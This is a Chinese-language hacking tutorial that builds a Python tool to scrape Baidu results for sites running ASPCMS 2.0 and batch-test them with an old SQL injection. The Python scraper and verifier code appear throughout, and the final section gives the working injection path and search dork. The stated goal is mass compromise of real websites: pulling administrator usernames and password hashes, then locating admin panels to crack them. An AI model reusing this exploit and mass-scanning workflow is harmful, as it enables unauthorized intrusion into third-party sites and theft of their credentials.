Python大黑阔—url采集+exp验证,带你批量测试
前言:
最近几天在整理从各处收集来的各种工具包,大大小小的塞满了十几个G的硬盘,无意间发现了一个好几年前的0day。心血来潮就拿去试了一下,没想到真的还可以用,不过那些站点都已经老的不像样了,个个年久失修,手工测了几个发现,利用率还挺可观,于是就想配合url采集器写一个批量exp的脚本。于是就有了今天这一文。结尾附上一枚表哥论坛的邀请码一不小心买多了。先到先得哦。
开始:
环境,及使用模块:
Python3
Requests
Beautifulsuop
Hashlib
老规矩先明确目标
- 需要编写一个url采集器,收集我们的目标网址,
- 需要将我们的exp结合在其中。
先看一下exp 的格式吧,大致是这样的:
exp:xxx/xxx/xxx/xxx
百度关键字:xxxxxx
利用方式在网站后加上exp,直接爆出管理账号密码,
像这样:www.baidu.com/xxx/xxx/xxxxxxxxx
PS:后面都用这个代替我们的代码中
再放个效果图
没错就是这样。直接出账号密码哈哈哈。
url采集模块:
首先我们要编写一个基于百度搜索的url采集器。我们先来分析一下百度的搜索方式,
我们打开百度,输入搜索关键字 这里用芒果代替。
可以看到wd参数后跟着我们的关键字,我们点击一下第二页看下页码是哪个参数在控制。
好的我们和前面url对比一下会发现pn参数变成了10,同理我们开启第三页第四页,发现页码的规律是从0开始每一页加10.这里我们修改pn参数为90看下是不是会到第十页。
可以看到真的变成第十页了,证明我们的想法是正确的。我们取出网址如下
https://www.baidu.com/s?wd=芒果&pn=0
这里pn参数后面的东西我们可以不要,这样就精简很多。
我们开始写代码。我们先需要一个main函数打开我们的百度网页,我们并利用for循环控制页码变量,实现打开每一页的内容。
先实现打开一页网站,代码如下
我们运行一下发现返回的页面是这样的,并没有我们想要的内容。
这是为什么,原因就是因为百度是做了反爬的,但是不用担心,我们只要加入headers参数,一起请求就可以了。修改后代码如下:
def main():
url='https://www.baidu.com/s?wd=芒果&pn=0'#定义url
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#这里百度是加了防爬机制的,需要加上user_agent验证一下否则就会返回错误
r=requests.get(url=url,headers=headers)#请求目标网址
soup=bs(r.content,'lxml')#利用bs解析网址
print soup
这样在运行,就可以看到成功的返回了网页内容。
好的,我们再加上我们的循环,让他可以遍历每一个网页。一个简单的爬虫就写好了,不过什么内容也没爬,先附上代码。
import requests
from bs4 import BeautifulSoup as bs #这里吧模块命名为了bs,方面我们调用。
def main():
for i in range(0,750,10):#遍历页数,每次增加10
url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))#定义url
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}#这里百度是加了防爬机制的,需要加上user_agent验证一下否则就会返回错误
r=requests.get(url=url,headers=headers)#请求目标网址
soup=bs(r.content,'lxml')#利用bs解析网址
print soup
if __name__ == '__main__':
main()#调用函数main
我们继续分析网页,取出每一个网址。右键审查元素,查看在源代码中的位置。
可以看到,我们的要取的数据,在一个名字为a的标签中,我们用bs取出这个标签所有内容。并用循环去取出“href”属性中的网址,main函数代码如下。
def main():
for i in range(0,10,10):
url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}
r=requests.get(url=url,headers=headers)
soup=bs(r.content,'lxml')
urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我们想要的内容,re模块是为了让我们取出这个标签的所有内容。
for url in urls:
print url['href']#取出href中的链接内容
这里解释一下为什么有class:none这个语句,如果我们不加这一句,我们会发现我们同时也取到了百度快照的地址。在快照的地址中,class属性是有值的,但是我们真正的链接中,没有class属性,这样我们就不会取到快照的链接了。
运行一下。成功返回我们要的链接
我们下一步就是验证这些链接是否可用,因为有的网站虽然还可以搜索到,但是已经打不开了。这里利用request模块以此请求我们的链接,并查看返回的状态码是不是200,如果为两百则说明,网站是正常可以打开的。
在for循环中加上如下两行代码,运行。
r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#请求抓取的链接,并设置超时时间为4秒。
print r_get_url.status_code
可以看到成功反返回了200,。接下来我们就要吧可以成功访问的网址的地址打印出来,并且只要网站的主页网址。我们分析一个网址
https://www.xxx.com/xxx/xxxx/
发现这里都是由“/”分割的,我们可以吧url用“/”分割,并取出我们要向的网址。
运行程序后。会发现返回这样的网址,他们有一部分是带着目录的。
我们用/分割url为列表之后,列表中的第一个为网站所使用协议,第三个则为我们要取的网址首页。代码如下
def main():
for i in range(0,10,10):
url='https://www.baidu.com/s?wd=芒果&pn=%s'%(str(i))
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}
r=requests.get(url=url,headers=headers)
soup=bs(r.content,'lxml')
urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})#利用bs取出我们想要的内容,re模块是为了让我们取出这个标签的所有内容。
for url in urls:
r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)#请求抓取的链接,并设置超时时间为4秒。
if r_get_url.status_code==200:#判断状态码是否为200
url_para= r_get_url.url#获取状态码为200的链接 url_index_tmp=url_para.split('/')#以“/”分割url
url_index=url_index_tmp[0]+'//'+url_index_tmp[2]#将分割后的网址重新拼凑成标准的格式。
print url_index
运行后,成功取出我们要取的内容。
好的到这里我们最主要的功能就实现了,下面我们进入我们激动人心的时候,加入exp,批量拿站。
exp模块
如何实现这个功能呢,原理就是,在我们爬取的链接后加入我们的exp,拼接成一个完整的地址,并取出这个网址并保存在一个txt文本中,供我们验证。现在我们的代码是这样的
# -*- coding: UTF-8 -*-
import requests
import re
from bs4 import BeautifulSoup as bs
def main():
for i in range(0,10,10):
expp=("/xxx/xxx/xxx/xx/xxxx/xxx")
url='https://www.baidu.com/s?wd=xxxxxxxxx&pn=%s'%(str(i))
headers={'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0'}
r=requests.get(url=url,headers=headers)
soup=bs(r.content,'lxml')
urls=soup.find_all(name='a',attrs={'data-click':re.compile(('.')),'class':None})
for url in urls:
r_get_url=requests.get(url=url['href'],headers=headers,timeout=4)
if r_get_url.status_code==200:
url_para= r_get_url.url
url_index_tmp=url_para.split('/')
url_index=url_index_tmp[0]+'//'+url_index_tmp[2]
with open('cs.txt') as f:
if url_index not in f.read():#这里是一个去重的判断,判断网址是否已经在文本中,如果不存在则打开txt并写入我们拼接的exp链接。
print url_index
f2=open("cs.txt",'a+')
f2.write(url_index+expp+'\n')
f2.close() if __name__ == '__main__':
f2=open('cs.txt','w')
f2.close()
main()
这里我把exp用xxx代替了,你们自行替换一下。放在最后了。
运行一下我们的程序,在根目录下,我们可以找到一个cs.txt的文本文档,打开之后是这样的。
打码有一点点严重。不过不影响,小问题,大家理解就好了,其实到这里就结束了,我们可以手工去验证,一条一条的去粘贴访问,查看是否有我们要的内容。But,我懒啊,一条一条的去验证,何年何月了。
这里我们在新建一个py文件,用来验证我们上一步抓取的链接,这样我们就把两个模块分开了,你们可以只用第一个url采集的功能。
我们的思路是这样的,打开我们刚才采集的链接,并查找网页上是否有特定内容,如果有,则讲次链接保存在一个文件中,就是我们验证可以成功利用的链接。
我们先看一下利用成功的页面是什么样子的。
利用失败的页面
我们发现利用成功的页面中有管理员密码的hash,这里我们利用hashlib模块判断页面中是否有MD5,如果有则打印出来,并将MD5取出来和链接一起保存再文本中。我们先分析一下网站源码,方便我们取出内容
可以看到网站非常简单,我们要取的内容分别在不同的属性值一个为class:line1,一个为class:line2.我们只要用bs模块取出这两个标签中的内容就可以了。代码如下。
# -*- coding: UTF-8 -*-
from bs4 import BeautifulSoup as bs
import requests
import time
import hashlib
def expp():
f = open("cs.txt","r")#打开我们刚刚收集的文本文档
url=f.readlines()#逐行取出我们的链接
for i in url:#将取出的链接放入循环中
try:#加入异常处理,让报错直接忽略,不影响程序运行
r=requests.get(i,timeout=5)#请求网址
if r.status_code == 200:#判断网址是否可以正常打开,可以去掉这一个,我们刚刚验证了
soup=bs(r.text,"lxml")#用bp解析网站
if hashlib.md5:#判断网址中是否有MD5,如果有继续运行
mb1=soup.find_all(name="div",attrs={"class":"line1"})[0].text#获取line1数据
mb2=soup.find_all(name="div",attrs={"class":"line2"})[0].text#获取line2数据
f2=open('cs2.txt','a+')#打开我们的文本
f2.write(i+"\n"+mb1+"\n")#将我们验证好的链接,还有数据保存在文本中
f2.close()
print (mb1)
print (mb2)
except: pass
f.close()
expp()
运行一下:
成功,我们看一下我们的文件。
完美,然后我们就可以去找后台然后解密啦,你们懂得。
exp:
百度关键字:有限公司--Powered by ASPCMS 2.0
exp:/plug/comment/commentList.asp?id=0%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now%28%29,null,1%20%20frmasterom%20{prefix}user
总结:
1.吐槽一下python2对中文的不兼容,导致我还是换成了python3。
2.程序很简单,但是重要的不是程序是思路。
3.这个url采集器是简化版本的,如果想了解完全版的,这里参推荐ado表哥的课程[+]《Python安全工具开发应用》,非常的nice。
4.源代码,我也放出来了,回复可见
5.对了还有表哥论坛的邀请码。只有一份。先到先得哈哈,表哥论坛还是有很多干货的,喜欢的可以去注册了解一下。这是表哥论坛链接https://www.chinacycc.com/
邀请码:ut444R
链接:https://pan.baidu.com/s/13pGlqjVT_p5aXZzfl_Dxew
i春秋推出优享会员制,开通会员可以免费畅享多类课程、实验、CTF赛题等付费内容,并可享有包括会员日专属福利、就业推荐等多种特权福利,更多活动详情可点击:https://bbs.ichunqiu.com/thread-40795-1-1.html了解哦~
Python大黑阔—url采集+exp验证,带你批量测试的更多相关文章
- python (大文件下载及进度条展示) 验证客户端链接的合法性,socketserver
##########总结########### 文件校验加进度条显示 ####server import os import json import socket import struct impo ...
- 黑猫关键词URL采集工具 Pro v1.0
功能介绍:黑猫关键词URL采集工具 Pro v1.0 批量关键词自动搜索采集 自动去除垃圾二级泛解析域名 可设置是否保存域名或者url 联系客服QQ:944520563
- Python大法之告别脚本小子系列—各类URL采集器编写
本文作者:i春秋签约作家——阿甫哥哥 系列文章专辑:https://bbs.ichunqiu.com/forum.php?mod=collection&action=view&ctid ...
- 黑阔主流攻防之不合理的cookie验证方式
最近博主没事干中(ZIZUOZISHOU),于是拿起某校的习题研究一番,名字很6,叫做黑阔主流攻防习题 虚拟机环境经过一番折腾,配置好后,打开目标地址:192.168.5.155 如图所示 这里看出题 ...
- 2 python大数据挖掘系列之淘宝商城数据预处理实战
preface 在上一章节我们聊了python大数据分析的基本模块,下面就说说2个项目吧,第一个是进行淘宝商品数据的挖掘,第二个是进行文本相似度匹配.好了,废话不多说,赶紧上车. 淘宝商品数据挖掘 数 ...
- 《零起点,python大数据与量化交易》
<零起点,python大数据与量化交易>,这应该是国内第一部,关于python量化交易的书籍. 有出版社约稿,写本量化交易与大数据的书籍,因为好几年没写书了,再加上近期"前海智库 ...
- 大数据应用日志采集之Scribe演示实例完全解析
大数据应用日志采集之Scribe演示实例完全解析 引子: Scribe是Facebook开源的日志收集系统,在Facebook内部已经得到大量的应用.它能够从各种日志源上收集日志,存储到一个中央存储系 ...
- 大数据应用日志采集之Scribe 安装配置指南
大数据应用日志采集之Scribe 安装配置指南 大数据应用日志采集之Scribe 安装配置指南 1.概述 Scribe是Facebook开源的日志收集系统,在Facebook内部已经得到大量的应用.它 ...
- 百度搜索引擎关键字URL采集爬虫优化行业定投方案高效获得行业流量-代码篇
需要结合:<百度搜索引擎关键字URL采集爬虫优化行业定投方案高效获得行业流量--笔记篇> 一起看. #!/user/bin/env python # -*- coding:utf-8 -* ...
随机推荐
- 如何将spring boot项目打包成war包
一.修改打包形式 在pom.xml里设置 <packaging>war</packaging> 二.移除嵌入式tomcat插件 在pom.xml里找到spring-boot-s ...
- 2019.01.17 bzoj2753: [SCOI2012]滑雪与时间胶囊(最小生成树)
传送门 最小生成树菜题. 题意:给出一些有向边,问有向的最小生成树. 思路:先dfsdfsdfs一把所有有用的边都存起来,然后按终点点权为第一关键字,边权为第二关键字给边排序保证最小生成树的合法性,排 ...
- c++关键字volatile的作用
1.易变性 1.1概念 编译器对volatile修饰的变量,当要读取这个变量时,任何情况下都会从内存中读取,而不会从寄存器缓存中读取(因为每次都从内存中读取体现出变量的“易变”) 1.2测试代码(VS ...
- weblogic配置集群(一)
一.程序安装 二.创建域 好的 篇幅太长 我就接下来的操作就写在下一篇博客了 weblogic配置集群(二)
- 2.2.2synchronized同步代码块的使用
当两个并发线程访问同一个对象object中的synchronized(this)同步代码块时,一段时间内只能有一个线程执行,另一个线程必须等待期执行完才能执行. package com.cky.bea ...
- 阿里云 oss实时日志查询
实时日志查询 更新时间:2019-01-29 10:31:49 编辑 · 本页目录 开启实时日志查询 查询实时日志 参考文档 用户在访问 OSS 的过程中,会产生大量的访问日志.实时日志查询功能将 O ...
- python常用算法题
一: #计算平均数,中位数和众数 #coding:utf-8 #计算平均数,中位数和众数 import random lst = [random.randint(0,10) for i in rang ...
- Hdu2068 RPG的错排 2017-06-27 15:27 30人阅读 评论(0) 收藏
RPG的错排 Time Limit : 1000/1000ms (Java/Other) Memory Limit : 32768/32768K (Java/Other) Total Submis ...
- poj 1753 2965
这两道题类似,前者翻转上下左右相邻的棋子,使得棋子同为黑或者同为白.后者翻转同行同列的所有开关,使得开关全被打开. poj 1753 题意:有一4x4棋盘,上面有16枚双面棋子(一面为黑,一面为白), ...
- 主题模型之概率潜在语义分析(Probabilistic Latent Semantic Analysis)
上一篇总结了潜在语义分析(Latent Semantic Analysis, LSA),LSA主要使用了线性代数中奇异值分解的方法,但是并没有严格的概率推导,由于文本文档的维度往往很高,如果在主题聚类 ...